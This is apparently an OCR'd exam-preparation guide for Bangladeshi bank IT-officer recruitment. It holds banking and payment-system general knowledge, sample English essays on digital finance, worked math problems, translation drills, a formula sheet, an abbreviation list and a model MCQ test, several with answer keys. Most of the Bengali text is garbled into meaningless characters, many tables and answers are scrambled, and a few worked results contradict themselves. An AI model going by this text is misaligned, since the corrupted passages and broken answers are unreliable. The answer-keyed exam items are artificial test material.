PCI-DSS (Payment Card Industry Data Security Standard) — 316 (G AT Fiar F1 17 2ASHIET T Visa,
Mastercard 2gfs FFag toff Ims (PCI SSC sifFsifere) | oft Few W& >2f6 requirement: firewall/
FGSAF FAT9ra!, fTHeb AMSANG 217G, SMIFFo F1E (GO I, (2AFET STHY Af&F¥, malware JI5¥T,
fNarem o6 8 IHFESIIF, need-to-know fSfETs TtE™, IRTFTFIA *GHI 8 authentication, RFf&sser
SIS Ao, @R 8 o, Fafis Aarerer «1&s!, o1 [arerer Fifs|

do.5 FSTGBI AT ATF IS AT, BfGBIA AT @ Wiffs TFGSF

o fSfABIET LW — 200b AT (TS o5 (FAFY 2025) | FAT6 ALATHH 2085 — BIFG JY: Smart
Citizen, Smart Government, Smart Economy, Smart Society|

o SIS FMILF: IIFATH T 2029 A “Guidelines for Digital Bank” ifd g1 &1 (f#18y: &I
FRRIETFIIET =M A/FIEBIF GIAT (3, I I A/ HFAIR,; Ao ARTCNES Jo1e= S2¢ &I By, o567 —
T U WAF TGS |

¢ Cashless / F*ITeTsT qissITw*I: Bangla QR, MFS, NPSB, Taka Pay — F5Iti JIR=IF ST, i Femer,
T U6 I, IO WM JiG, gHITS J; GiIceter: fOREbre stesaer, arfier 3Bs, ST 2Sre,
TIHTHS 51

» wififd WIGS (Financial inclusion): So BIFR F3F 35717, o7 1M, QTS5 @ So=4T AR, MFS-
A LI TR ©ret (G2P) [sae

* Fintech 8 RegTech: fSf&BIa et (nano loan, &fSE cifIe Spesifaws fic), regulatory sandbox, open
banking APII
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dv.d>o Jigew=t: FILfFe 8 TRGIS Jgge @i

a9

LA JFICHI 2ATSHT

JigeArnest “Clearing House”

Saq

Bangladesh Bank Order, 1972 (AT ST 7% 52q) WA, I do Toowa
59> AT, AL Iy ISR, Bt

I I Officer IT 2026 (25105)

Il R FIH

MTIF AT (AT AB Bank (ST I 1), Sob:  Officer IT 2026 (25105)

ifafens T

NPSB-aF syefziot National Payment Switch Bangladesh SO IT 2026 (25104)

JIATACT ST FSBI IBM 1620, 5548 It 217519 *Ifes &5 (Atomic Energy Centre), GIpTII
Officer IT MCQ 2026 (BIBM)

AT AR FIIA SEA-ME-WE 4 (2000, FHIGIF IfB GB*H) SO IT 2026 (25104)

e s F5Re SEA-ME-WE 5 (2059, FHIFIGI B oB#); #f{5rerm: BSCCL (Bangladesh

Submarine Cable Company)

JIATACIIT ST ST I3, ICBAIRG-d, BRTFAT b2 (T 205 (SpaceX Falcon 9, J&A1g)

Tolem

MO AT (TRAZA [RHFR TIH-JIEAT IR, 2055

MR AT ATM ANZ Grindlays Bank, >5%=

AN STOF STGIN NISIFATS TSI STYHIWF, FHIAMGNF (FAen@=)  Officer IT 2026 (25105)

TEAIGII (FAIT AEF

Bank of England SO IT 2026 (25104)

“World Economic Outlook”  IMF (SIS Yo ©=fke) SO IT 2026 (25104)
AP FE
IMF @ REISI I vl SR S5, &g Officer IT 2026 (25105)
BFIU-a3 It MRToIRR 8 STFIeT Wi aifStary @i o= 3SR (IR JIREET A=)
SWIFT-4F SMF 7&F i
ool

ToAeR, APy I ATSHIET T FGCATSF (SFHIAG ARIMO® (O AR, QIR ANRF AR GOIIN/AYA AT

ST IUATT — AIHIT WIS TPATED LM 8 AT FILCFT STIIMNR6 aedl A=

59.5% Focus Writing — 35fF2-24gf& Rawa agfS

BSCS feifds #1161 1A 8 320af& Focus Writing 2fSf6 So 791 (199 9, ©1% Seo-3¢0 #1371 TB) | FISITI:
G (5-2 IF) — ©-8f% T AT (SU/THITANTR) — BTG — JATH - SoANTIAN IR TRt
(NPSB, MFS, Bangla QR, e-KYC, Qtar5 I71sf6R) fiicet 799 It |
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o Rigiie @ amefd S0 IT 2026 (25104) Al JFE3, FISG, fI5T (GBI, ARIERNIT TS, IR

8 TEFel; TR e
Digital Literacy & Cashless Transactions financial inclusion, efergen aifStary, TGt 3 arifter
SO IT 2026 (25104) THEISY, TSI @I Srgrst

Growing Use of Technology in the Financial Service  fintech, MFS, f&f&bret dl<l, RegTech, 436 @ wiwel, fAzger
Industry BB AP 2023

IRfRFR LICe T3 [rorat sy 205v-a3 TS §fF, ransomware, phishing, SOC,
ool

Alin Banking s/s[y chatbot, fraud detection, credit scoring, (AfSFoT @
GO (StorsTToT

TAI (12 AR JIfHL Aes 59 Rigfiaas ger

v RiglieR o= FEw JHwer, JwsT, FIOT FHHSIHR, [st (Th! 8 TR0 W LTI TN 510G 851
fSRea AR, T /R Aot olifedorm I MR | 9T (T GIRIF G AR =LA 13
HIGITS 2CO!, WIS Of (NIRNZA I FAF (IS 127 2621 NPSB 8 RTGS-AF FILIH SIeHioF
BT (AT, e-KYC e 9 7 iR319 (41, Bangla QR-9Q (MIFITH (TG Q3R fSEret piecaa
SRS — O3 Q3 FASEI Tvingel | Ffaw Iwst T Soass @—qm ==, Adaserd s
JEIR QIR SIGICH NILICH 38 TBT AMRFRT (ST TP 002 | B T A0 BIENS IR T3
SFEIER JF @TOCg, 2050 T [Fows §fF T 36 Frwr; il saendix fefeta rsao 9i6fo a3
T O WIS JIET | SIS INLF TS SIS M3 [FIorar ARSI, FHWS AATwo! SFw,
SR ATEOTS! QIR JENHTIN g oo it Tow it 31 75 siffsgg sod RigiRkes
AT 1EfHR ATOF WS 5, TR 8 NG G AP (I QAo A

Sample (English): The Importance of Digital Literacy in Expanding Cashless Transactions in
Bangladesh

Bangladesh has built impressive digital payment infrastructure: mobile financial services reach tens
of millions of people, NPSB connects banks in real time, and Bangla QR lets a small shopkeeper
accept payments from any bank or MFS app. Yet infrastructure alone cannot create a cashless
economy; people must know how to use it safely and confidently. Digital literacy is therefore the
bridge between access and actual use. A person who can read an SMS alert, verify a QR merchant
name and protect a PIN is far more likely to keep money in a digital account than in cash. Digital
skills also drive financial inclusion: rural women, farmers and small traders who learn to use mobile
wallets gain access to savings, government allowances and micro-credit without travelling to a
branch. At the same time, low literacy exposes users to fraud, such as fake calls asking for OTPs,
which damages trust in the whole system. To expand cashless transactions, banks and regulators
should run awareness campaigns in Bangla, design simple and voice-guided apps, train agents as
local educators and include digital finance in school curricula. When citizens are digitally literate,
cashless payments become not only convenient but also secure and inclusive.
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Sample (English): Growing Use of Technology in the Financial Service Industry

Technology has moved from a support function to the core of financial services. Core banking
systems allow customers to transact from any branch, while internet and app banking, ATMs and
agent outlets deliver services around the clock. In Bangladesh, mobile financial services have
brought millions of unbanked people into the formal system, and platforms such as BEFTN, RTGS
and NPSB have made inter-bank transfers faster and cheaper. Fintech firms now use data analytics
and artificial intelligence for credit scoring, enabling small digital loans to people without collateral
or formal credit history. Regulators also benefit: RegTech tools automate reporting and help detect
money laundering. These changes reduce operating costs, improve transparency and widen
financial inclusion. However, greater dependence on technology brings cyber risks, data-privacy
concerns and the danger of excluding those without digital skills. Financial institutions must
therefore invest in cyber security, skilled IT professionals and customer education, while regulators
should balance innovation with consumer protection. Used wisely, technology can make the
financial sector more efficient, resilient and inclusive.

TAI (I, TR R): IR Ais 3T [Fioret

fSfEbreT qmefe To Rgo 76y, M3 8 oo Arorz| AR 3093, ransomware, ATM skimming &%
T T BF OTP TRAT — O WEH SITF 3 T SO 16 IFACR| 205 A JIRATTTH NI
Roms R b fiferms Tam R ifcieg, 9t iaer T I [ReT (O WA 21 1 @ 36
CTIFIRET FIRFSTAIE IR FIRCH WG f7rorer Roifsr ity 323w Harsret (firewall,
IDS/IPS, a=f&=14, MFA), 28 Tt Security Operations Center, fR¥f¥® penetration testing @ 3t
aAffrser ARt T00 T QB3 AH A5 SeoTe! — “PIN/OTP TG (R 1" — FCE ST 5|
BT ST [Frem MR BT FIFTEAST AR T 9T TFI A7

Sample (English, short): Artificial Intelligence in Banking

Artificial intelligence is reshaping banking in three main ways. First, it improves customer service
through chatbots and virtual assistants that answer queries in Bangla and English at any hour.
Second, it strengthens risk management: machine-learning models flag unusual transactions in real
time to stop fraud and help compliance teams detect money laundering. Third, it enables smarter
lending by analysing transaction history and mobile-wallet data to assess the creditworthiness of
customers who lack formal records. However, Al depends on large volumes of quality data, and
biased or poorly governed data can lead to unfair decisions. Banks must protect customer privacy,
keep humans accountable for important decisions and make models explainable to regulators.
With sound governance, Al can make banking faster, safer and more inclusive.

d0.52 MCQ St

1. NPSB-a3d sjefsmot F1?

() National Payment System Bangladesh (¥) National Payment Switch Bangladesh
(s7) National Pay Service Board () Network Payment Switch Bangladesh

Twaq: (¥)  Officer IT MCQ 2026 (BIBM)
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2. AT AN FHEHTHIF (F1AT Fifoe 371?
(=) oI5t Ry R 3w (¢) ICDDR,B
(s1) oI =ifS " (1) BCSIR

&g (51) — IBM 1620, S»v81  Officer IT MCQ 2026 (BIBM)

3. S (A= SAmIeT 8 siewsfdFetg A>Ife 39 &1 So6eT?

() BEFTN (4) BACPS
(51) RTGS (9) Bangla QR

Twad: (57) — Real Time Gross Settlementl
4. (ota 27 ity StegfAe e s @52

(=) BACPS (¥) BEFTN
(s1) NPSB () SWIFT

&8<: (F) — Bangladesh Automated Cheque Processing System|

5. (3o 31 fSfSTotsa Aret batch GITITHA &7 SoATE—

() RTGS (¥4) BEFTN
(51) ATM (q) POS
TSI (¥)
6. MIF AT @IS TS TeF @62
() IFIC Bank (¥) AB Bank
(s1) City Bank (2) Islami Bank

[CICEH (4) — Sob:|  Officer IT 2026 (25105)

7. SWIFT S oirore?
() T =re (¥) o=t
(1) =riff<s Irs1/ Aot (q) I

T@d: (51) — BIFT 9 correspondent fRSTITIF 30|

8. EMV chip F1$ &1 i< Resigsitg sara?

() Card cloning/skimming (¥) DDoS
(57) SQL injection () Ransomware

6 (F) — aAfS T SI=INS cryptogrami

9. FIGHINT JILFE F I TT?
() Acquirer (¥) Issuer
(st) Merchant (8) Scheme

T@d: (¥) — NITETHA AT Acquirer|
10. WNeTsifas-ag {S 4o F=i6?

(F) Placement (4) Layering
(57) Integration (€) Structuring

Ted: (4) — Placement — Layering — Integration|
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11. TS TCURGIAS (AT FACANG (STR) CHIATT Sislt (RS 5H?
() BTRC (¥) BFIU
(1) BSEC () NBR

83 (4) — Bangladesh Financial Intelligence Unit!

12. PCI-DSS-9 F1® Y& requirement Ts?
()6 (4) 10
(M 12 (=) 20
T63: (o) — ft FewR WA ST
13. 2050 FITAA [FES §fte PIFFA F1F BIWF IFT IAA FIHFF I 7758 Fafge?

() Bank of England (¥) Federal Reserve Bank of New York
(1) RCBC (2) Standard Chartered

Taq: (¥4) — RCBC ot ators aness (Referons) |
14. LATVCIT AT AT FIA FH16?

() SEA-ME-WE 3 (¥) SEA-ME-WE 4
(5) SEA-ME-WE 5 (¥1) SEA-ME-WE 6

Taq; (U) — 200V, FIHIAMGIAI SO IT 2026 (25104)

15. LA FITF 2020 AAF FATiRie! Sl fSfEne s gaow sfFeifds gaam 52

(&) ¢co G BI=ml (¥) soo IS Bt
(s1) S3¢ IS BI=er () coo IS GBIt
Taq: (51)
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ST Y8 — sifdre, qigat, 3rafS @ gt SwIF

Mathematics, Bangla, English & General Knowledge (Non-technical Part)

&t #1916 SO IT/Officer IT-(S ¢o 79I (Focus 20 + WFIM 20 + GK 50), BB AP-(S 5ifdw 20 + Focus So +

I 20, AME-(S 5ifei® 20 + SFAM 20 + Focus 50 — WA AT 2¢% T A4-GHIAHI | MCQ-(S I8,
3203, Sifo 8 GK fItaT &1 80% 1 O3 S1kw*T oo AT &iF© ARSI sjef STHIF S 21|

8.5 sifers — fJsts fAfds graa o sena=

faste et BB AP 2023

If x is an integer and x + 1/x = 17/4, then the value of x = 1/x =7

SILR: 17/4 = 4 + 1/4, 13 integer x = 4 (W21F Y1 1/4 integer )1

Xx=-1/x=4-1/4=15/4

g o1&l (x - 1/x)? = (x + 1/x)? — 4 = 289/16 — 64/16 = 225/16 = X — 1/x = £15/4; x = 4 (T YA, O3 15/41

faste o BB AP 2023

A basketball team has won 15 games and lost 9. If these games represent 1625% of the games to
be played, how many more games must the team win to average 75% for the season?

(TLFACH *To1LHIG BBl Tiof;  ft @B «ifFfoe o U 7 1624% 1)

(ST I = 15+ 9 = 24 = GG 1/6 = (NG (AT =24 x 6 = 144

Q% f&rors 3@ = 0.75 x 144 = 108 &

oIR8 f&rore 73 = 108 - 15 = 936 cd=t

faste e BB AP 2023

Students of a class are made to stand in rows. If 4 students are extra in each row, there would be 2
rows less. If 4 students are less in each row, there would be 4 more rows. Find the number of
students.

43 &ifS T x &=, M7 y 5; 6 xy|

(x+4)y-2)=xy=>-2x+4y-8=0=>x=2y -4 ..(i)
(X=-4)y+4d)=xy=>4x-4y-16=0=x=y + 4 ..(ii)

()8 (i)=>2y-4=y+4=>y=8, x=12= (G 2@ =96

f9sts & BB AME 2023

Find: 4(V6 + V2)/(V6 - vV2) - (2 + V3)/(2 - V/3)

(V6 +V2)/(V6 = V2) = (V6 + V2)2/(6 - 2) = (8 + 2V12)/4 = (8 + 4V/3)/4 =2 + V3
L EAT AT = 4(2 + V3) = 8 + 43
Q+V3)/(2-V3)=@2+V3/(4-3)=7+4V3

= (8 +4V3) - (7+4V3)=1
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fasts &= BB AME 2023

A father divided Tk 25,000 between sons A and B. A invests at 8% p.a. compound interest, B at 10%
p.a. simple interest. After 2 years B's interest is Tk 1,336 more than A's. Find A's share.

&3 A-a3 ¥ = a, B-97 = 25000 - a

A-93 5&g 1, 9161 = a[(1.08)? - 1] = 0.1664a

B-@a3 319« Al = (25000 - a) x 0.10 x 2 = 5000 - 0.2a

5000 - 0.2a - 0.1664a = 1336 = 0.3664a = 3664 = a = Tk 10,000

qIBIZ; A-QF T 1664, B-a7 (15000-97 20%) 3000; 15 1336 ¢/

faste o BB AME 2023

The percentage profit earned by selling an article for Tk 1920 equals the percentage loss incurred
by selling it for Tk 1280. At what price should it be sold for 25% profit?

(1920 - C)/C=(C-1280)/C= C=(1920 + 1280)/2 = 1600

2¢% FICe [{FTyew = 1600 x 1.25 = Tk 2,000

fasie o5  BsCS AME/AE 24.01.2026

A machine produces defective items at a rate of 25%. If n items are selected, what is the probability
that at least one item is defective?
(8T FRATG T=21R ("IT items"); 8IS 10 — fNCE LAY I 8 n = 10-aF W)

P(FI1f58 ®iooef 73) = (0.75)" = P(@s® @sf6) = 1 - (0.75)"
n =103 (0.75)10 = 0.0563 = P ~ 0.9437 (98.8%); n = 5 3¢e1 1 — 0.2373 = 0.76271

fasts &= Bscs AME/AE 24.01.2026

10 engineers in a room; every engineer shakes hands with every other exactly once. Total
handshakes?

AR Jrows = 2 T @it @rer = 10, =10x9/2=45

faste & Officer IT 2024

Two unbiased dice are thrown. Probability that the sum is 7?
AT GFa n(S) = 36; WP (1,6),(2,5),(3,4).(4,3),(5,2),(6,1) =6 = P =6/36 = 1/6

fQsts & Officer IT 2024

FindsetsXandYifXuY={1,23,5,6,89,10}, XNY={1,5}, Y - X={2,6,9,10}.
Y=XNY)U(Y-X)={1,2,5,6,9, 10}
X=-Y=XUY)-Y={3,8=>X=X-Y)U(XNY)={1, 3,5, 8

MCQ stfers — Officer IT 2026 (BIBM 3 25105) (It

20% BIG A8 20% AG — FIHCEAF ST FIFG A13T CP 100, SP 120 = 0.8 x MP = MP 150 = 50%
IS % QR?
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W3: gi¥ (P TIIT 4 m, SHST 3 m — NI CHT?

BIFARIN AT 10 M x 7 m x 2 m (Svot 2 m &) —
Fooe?

HCF 12, LCM 288, a<fB 3241 96 — S#1a{5?

220 m (G¥, 45 km/h, 260 m Bt 99 30 SINI?

300 km 7HCg 43 §1<F 70 8 50 km/h-Q Juargfd — s
NaR?

Ax* + 1-97 TeAMH

X+ 1Xx=7TAX2+1/x*=?

OGO WSeF (HIEF TN
X+y=AX-y=BR(Exy=7

aGFGH Y A, TS So it — aFsm?

15 km/h sifete 15 NG &Fer siw — fFees oer?
95 gt — 5% @6 Head-93 SIgAT

2X*3 = 32 7reA x

CT JaSTAl IIFIIF At

V(16 +9)=5m

G 70 + 2(10%2) + 2(7x2) = 70 + 40 + 28 = 138 m?

12 x288/96 =36
45 km/h =12.5 m/s; (220 + 260)/12.5=38.4 s

300/120 = 2.5 961

(2% + 1)2 - (2x)2 = (2% + 2x + 1)(2x2 - 2x + 1)

49 - 2 = 47 (RTaF T AL A1 A 2 g
9T JCACR)

(6 - 2) x 180° = 720°

(A2 - B%)/4

1/6 +1/10 = 8/30 = 3.75 =

15 x %4 = 3.75 km (sn1fSF el STorsst)
{HT, TH}/4 = 1/2

2X*3=2>=x=2

nC, =n!/(ri(n-r)!) - "P, =nY(n-r)! - CI=P[(1 +r)"-1]-SI=Pnr
SIfS: =i @9t ([ i) = vy + v, - @ o = (L, + L)/
G @FA = ab/(a + b) &= - /S% = (SP - CP)/CP x 100
(a+b)?-(a-b)2=4ab-a%+1/a%=(a + 1/a)? - 2 - N-YTSA WITHI I = (n - 2) x 180°

98.2 T;[d% (Translation) — So+50 I94

AITHF FA

continuousl

* FTH *ITH 7, O W™ T4 | I (FIB YA, 9F6 G Siioed P (GTT 6 I T IS I |
o JLfHR *AOITIF YU} AYA: AT = loan/credit, WSFF = waive, &I = trust/confidence, TRRAMTS
= accountability, ¥5zeT = transparency, T WSG& = financial inclusion, c&1fsr A = non-

performing loan / default loan, JEFHITS = inflation, &GS = remittance!
* Tense: "XBR" BEANIF T6T XA present continuous; "SIFIe (ATF...JR" = present perfect
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fs1s o5t (Bangla — English)  BSCS AME/AE 24.01.2026

SIEG ] English

T NS FIRCE F SIS ATGHT  Small entrepreneurs are being deprived of necessary

Al JRT (AT IFPS 3051 loan facilities due to strict policies.

SRFII NF TGAF G) TR AR Transparency and accountability are essential to earn
TRIRM RS S| customers' trust.

TS I SIS WS Corruption is a barrier to the development of the country.
P (A ST ST I} 7w It has been drizzling since morning.

TATTE ST (BT AT I F1| It is harder to follow advice than to give it. (Practising is

harder than preaching.)

f3srs &% (English — Bangla) BSCS AME/AE 24.01.2026

English SIRG |}

Empty vessels sound much. Nfs =l Icer @ (SgRmn saFa)
Customers are encouraged to use online banking ETFAMAI T 8 TG 77 IO ARFWI
services to reduce transaction time and operational AR RHR T IR SRS 1T 206 |
costs.

The bank has decided to waive the service charge. T TS 51 WSFT FAF g ez
The project is still in its nascent stage. 2Fgfo auwEr afS<s srfieg Ieaca|

True greatness lies not in power, but in humility and 2IPo Vg FHO 77, 72 [RAT 8 (Afos sToory
moral integrity. IBIEST

fRs1s it (passage, i) BB AP 2023

"Global economic turbulence is strongly felt in the banking and financial industry throughout the globe.
The visible transformations are taking place in terms of embracing the new recovery efforts by adopting
newer technology..."

T (IR WA wiRge! s [{edx e @ W A1t SIFeik wge 2oz 797 Y& axeR
I FAFFIERE QT SO 2 TN AfRTST T60T...

faste o (passage, f*IF) SO IT 2026 (25104)

"He decided to pull out of the agreement at the eleventh hour. This sudden move took everyone by
surprise and put the entire project at risk..."

TP o QIR 1T P30S §fE @ A AT FaiS (71 93 W= 2Mese 1113 [ 337 3R
AT gl JFa T o1rs...

Idiom: at the eleventh hour = ¥ J2CS; pull out of = AT TN/ WIAT; take by surprise = TOIIF FAT|
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8.9 Focus Writing — SIS

Jsts R "Growing use of technology in the Financial Service Industry” (BB AP 2023), "Data is the new
compute in today's Al era" (AME ST 202%), IFICHERIF I91$B¢ 210o 50 AgGReRT 2o fofenea a8
"The Importance of Digital Literacy in Expanding Cashless Transactions in Bangladesh" (SO IT 2026)| =31

WCERA WL 50-4 HT|

50 HYTad Focus — 200-2¢0 *[3, ¢ S+

2041) — [R5 71 7 FAT 4@ 71
3. Opportunities/Benefits: oft 2151

8.8 Il 8 323 — MCQ-co =t 2ITT6

o (Rsis MCQ)

1. Introduction (2-9 JIF7): RIT 8T + & 94T ST |
2. Current scenario in Bangladesh: a3f5-3f6 27 (MFS, NPSB, Bangla QR, Smart Bangladesh

4. Challenges: STi3313 <5, FSEGIE swo!, SIHHCH!, FfOTIT
5. Way forward + Conclusion: 2-oft J#1f3=I, @3 Ity Somz=|

e NACER

"SI TSP — 9F I

"o -9 RPds

"OT QU T " — "N I oW

"I AN — AN

"o — SIS

"ot — i Rreew

"SI — o

Passive: "Pluck me a flower."

Antonym of "segregate"

"___opportunity comes responsibility."

"The man who came here yesterday..." — clause

Misspelled: Commitment / Disciplinary / Jewelery / Absorption
"Bread and butter ___ my favourite breakfast."

Correct spelling

"Let'sgo, __?"

"He hardly ever comes, __?"

ST

SRHT

AT (- QT S)

P IR

Rorge

AT + 5wt

F=F+I+9

Let a flower be plucked for me.
combine

With

Adjective clause (man-G I FF)
Jewelery (313 jewellery/jewelry)

is (@FF {19 ReIE singular)
Committee (double m, double t, double e)
shall we

does he (hardly Af$3153, I3 positive tag)
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%8.¢ YT T — F[ILF R T 2MAFT St 3 AT

o

NPSB-a3 #j<f@# SO IT 2026

SIS SO (Te1K)-9 4SS0 IT 2026

YA (FAIT BIRF SO IT 2026

"World Economic Outlook" &1*I 3 SO IT 2026
JIATTIT AT AR (T SO IT 2026

3R Ty oWl 8 WM SINgIHI_ ALY Officer IT 2026
AT AT STOIF UK Officer IT 2026

IMF-Q3 M &I Officer IT 2026

R Aox SoFAEAT  Officer IT 2026

FATANAT @IS Officer IT 2026

ST JA  Officer IT 2026

SAARC M w&J  Officer IT 2026

JISATMe "Clearing House"-a3 wifitg  Officer IT 2026

o @RI IAfAEUF WIF  Officer IT 2026

Tin Bigha Corridor (19 (&g Officer IT MCQ 2026 (BIBM)
RFFR g Tt FeRe aFITSN  Officer IT MCQ 2026 (BIBM)
WIARFCAST TI3G136 WIIHIFTF  Officer IT MCQ 2026 (BIBM)
TSI WA TEAIFIKT AT 7SN Officer IT MCQ 2026 (BIBM)
WSGIST Sge! G357 Officer IT MCQ 2026 (BIBM)
JILEATATT AN FESGIF oA Officer IT MCQ 2026 (BIBM)
8086 NIZTHI AT F© fBI  Officer IT 2026

Bangabandhu Satellite-1 SeTHoteY

o SRefE &7

GK agfSa st

S e |

)Gk

National Payment Switch Bangladesh
T M3 (=T

Bank of England

IMF

SEA-ME-WE 4 (200%, TIHTCTR)

WHO

TSRS (FHMGIN)

|G .5

JFrHGT

sod© (Meregfe)

CTEIE (FTRTCTH)

PG, (AT

AT 7 (BACH A6 )
afy A7 (vobR)

FISTNARIB (STBATN)

FacpET

TR WG (5984)

b CTLBRA

NI *If & &g, T (IBM 1620, S5u8)
16-bit (data bus 16, address bus 20-bit)
S (¥ 205b (SpaceX Falcon 9)

SEA-ME-WE 5, FRIFHIBT (2059)

fAfds GK (vo 79) egers ¢f6 aFs-e13a e — J51efF2 (NPSB, BEFTN, RTGS, IMF/World Bank
fTOND), AT (FI91Sy, TN, AR (I, AGATR06) 8 HNSGOF 7L (AT | Ao [Faemaw &
HAITHIT W © N AT WATNS St YT — 93 @G ArATSF o1 3501 F A4 70 Figer o
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AR F — Ja-TaSITEH

Formula Sheet (IS156I7 TSI AtS 8y At i)

T

Subnet

Summarization

Delay

Bit rate
FDM

Nyquist /
Shannon

Cache

AMAT

Pipeline

DAC/ADC

Scheduling

Paging

Hashing

Binary search

RAID

Availability
Reliability

VM capacity
Power

Battery backup

Combinatorics

a

STIHE = Zborrowed. usable host = Zhost bits _ 2
block size = 256 — I'¥ SCHBI mask

2"fB contiguous @GBSI = prefix - n

dirans = L/R; dprop = distance/speed; end-to-
end = 3(proc + queue + trans + prop)

R = pixels x log,(levels) x frames/s
BW=nxB., +(n-1)xguard

C = 2B log,L (noiseless); C=B log,(1 + SNR)

offset = log,(block size); index = log,(#lines);

tag = address - index - offset
AMAT = hit time + miss rate x miss penalty

k-stage, n instructions: time =(k + n - 1)t;
speedup =nk/(k+n-1) -k

resolution = V,¢/(2" - 1) (W17 3307 2")
TAT = CT — AT; WT = TAT - BT

page no. = |addr/page size]; offset = addr mod
page size

h(k) = k mod m; linear probing: (h(k) + i) mod m
SR Qetdt = [log,(n + 1)]

RAIDO = N-S; RAID1 =S (mirror); RAID5 = (N -
1)S; RAID6 = (N - 2)S; RAID10 = N-S/2

A = uptime/total = MTBF/(MTBF + MTTR)
Series: R=TIR;; Parallel: R=1-T1(1 - R;)
VM 31431 = min(cores/c, RAM/r, storage/s)
P=VI=I°R=V?%R;1=P/V;E=Pt

t=(Ah x V x efficiency)/load W

nC, handshakes; P(=1) = 1 = P(none)

WA AT Sulnget

/26 = 4 B, 62 host, block 64

8fG /24 = /22

1500 B @ 128 kbps = 12000/128000 =

93.75ms
480%x500x5%30 = 36 Mbps
5x100 + 4x10 = 540 kHz

SNR dB — linear: 1098/10

16 KB, 4-word (16 B) block, 32-bit = 1024

lines: offset 4, index 10, tag 18

1+0.05%x100 =6 ns

5-stage, 100 inst = 500/104 = 4.81

3.3V, 32-bit=>~7.68x 10710V
SJF = 5= s/o WT

4 KB page = 12-bit offset

m=13
10° = 20

5x4TB RAID5 =16 TB

(720 - 4)/720 = 99.44%

0.95° = 0.8574

min(8, 6, 8) = 6 (RAM bottleneck)
2.4 kW/240V =10 A= 13 Afuse
100 Ah x 12V x 0.8/480 W =2 h

°C, =45
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a2 ¢ — sIFFY Tt (Abbreviations)

MCQ-3 forg Trgsht

Short

ACID

ARP

BACH

BEFTN

BIBM

CBS
CIDR
CSS
DAI
DHCP

DNS

EMV
GUI

HTTP(S)

IDS 7 IPS
JDBC

LAN /
WAN

MCB

MitM

MVC
NDP

OSI

Full form

Atomicity, Consistency, Isolation,
Durability

Address Resolution Protocol

Bangladesh Automated Clearing House

Bangladesh Electronic Funds Transfer
Network

Bangladesh Institute of Bank
Management

Core Banking System (Solution)
Classless Inter-Domain Routing
Cascading Style Sheets

Dynamic ARP Inspection

Dynamic Host Configuration Protocol

Domain Name System

Europay, Mastercard, Visa
Graphical User Interface

HyperText Transfer Protocol (Secure)

Intrusion Detection / Prevention System

Java Database Connectivity

Local / Wide Area Network

Miniature Circuit Breaker

Man-in-the-Middle

Model-View-Controller
Neighbor Discovery Protocol (IPv6)

Open Systems Interconnection

Short

AES

ATM

BACPS

BGP

BSCS

CIA

CMMI

CSRF

DDoS

DMZ

DR/ BCP

FTP

HDFS

IaaS/PaaS/
SaaS

IMAP

KYC

LSA

MFS

MTBF /
MTTR

NAT / PAT

NPSB

OSPF

Full form

Advanced Encryption Standard

Automated Teller Machine /
Asynchronous Transfer Mode

Bangladesh Automated Cheque

Processing System

Border Gateway Protocol

Bankers' Selection Committee
Secretariat

Confidentiality, Integrity, Availability
Capability Maturity Model Integration
Cross-Site Request Forgery
Distributed Denial of Service
Demilitarized Zone

Disaster Recovery / Business
Continuity Plan

File Transfer Protocol
Hadoop Distributed File System

Infrastructure / Platform / Software as
a Service

Internet Message Access Protocol
Know Your Customer

Link-State Advertisement

Mobile Financial Services

Mean Time Between Failures / To
Repair

Network / Port Address Translation
National Payment Switch Bangladesh

Open Shortest Path First
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PCI-DSS

PKI

PUE

RPO /
RTO

RTGS

SMTP

SQL

SSL/TLS

SWIFT

UML
VLAN
VM

XSS

Payment Card Industry Data Security
Standard

Public Key Infrastructure

Power Usage Effectiveness

Recovery Point / Time Objective

Real Time Gross Settlement

Simple Mail Transfer Protocol

Structured Query Language

Secure Sockets Layer / Transport Layer
Security

Society for Worldwide Interbank Financial
Telecommunication

Unified Modeling Language
Virtual LAN
Virtual Machine

Cross-Site Scripting

PDU

POP3

RAID

RSA

SDLC

SNMP

SSH

STP

TCP / UDP

UPS

VLSM

VPN

YARN

Protocol Data Unit

Post Office Protocol v3

Redundant Array of Independent
Disks

Rivest-Shamir-Adleman

Software Development Life Cycle

Simple Network Management
Protocol

Secure Shell

Spanning Tree Protocol

Transmission Control / User Datagram
Protocol

Uninterruptible Power Supply
Variable Length Subnet Mask
Virtual Private Network

Yet Another Resource Negotiator
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Model Test — Part A: MCQ (40 x 1, 30 ff<B) - Part B: Written (8 x 10, 100 fif<5)

ICbp

BIZNIF B9 I A1 MCQ ITT TBI@ (WA (IR airory) | fAfIs weeig Teg 1f#@E ety seg —
IFAICO WL 797 S|

Part A — MCQ

ua A W N =

. Which OSI layer is responsible for routing? () Data Link (¥) Network (5f) Transport (9) Session

. Usable hosts in a /27 subnet? () 30 (¥) 32 (51) 62 (%) 14

. Default port of HTTPS? () 80 (¥) 8080 (st) 443 () 22

. Which protocol is used to receive email? () SMTP () POP3 (51) SNMP (2) FTP

. You can ping 8.8.8.8 but cannot open www.google.com. Most likely: () Cable (¥) DHCP (sf) DNS (=)

Gateway

6. In IPv6, ARP is replaced by: () ICMP (¥) NDP (sf) DHCPv6 (9) RARP
7. Which concept prevents a sender from denying a message? () Integrity (%) Availability (s) Non-

13.
14.
15.

16.
17.
18.
19.
20.
21.
22.

23.
24,
25.
26.

repudiation (2) Confidentiality

. Which is an asymmetric algorithm? () AES (¥) DES (51) RSA (%) 3DES

. Hashing is: () reversible with key (¥) one-way (57) symmetric () compression
10.
11.
12.

User training is which type of control? () Technical (¥) Physical (sf) Administrative (2) Detective
Data structure to check balanced parentheses: () Queue (¥) Stack () Tree (%) Graph

Inorder traversal of a BST gives: () random order (¥) sorted order (1) reverse level order ()
preorder

Worst-case time of Quick Sort: () O(n log n) (¥) O(n) (51) O(n?) () O(log n)

Inserting at the beginning of a singly linked list: () O(1) (¥) O(n) (51) O(log n) () O(n?)

Bottom-up dynamic programming is also called: () Memoization (%) Tabulation (5) Greedy ()
Backtracking

SQL clause to filter after GROUP BY: (%) WHERE (%) ORDER BY (57) HAVING (¥) LIMIT

Which command removes table structure and data? (<5) DELETE (¥) TRUNCATE (sf) DROP (g) REMOVE
"All or nothing" property of a transaction: () Atomicity (¥) Consistency (sf) Isolation (g) Durability
Scheduling with minimum average waiting time: () FCFS (¥) SJF (5) RR () Priority

Not shared among threads of a process: () Code (¥) Heap (51) Stack (%) Open files

chmod 750 f gives group: () rwx (¥) r-x (s1) r-- (9) ---

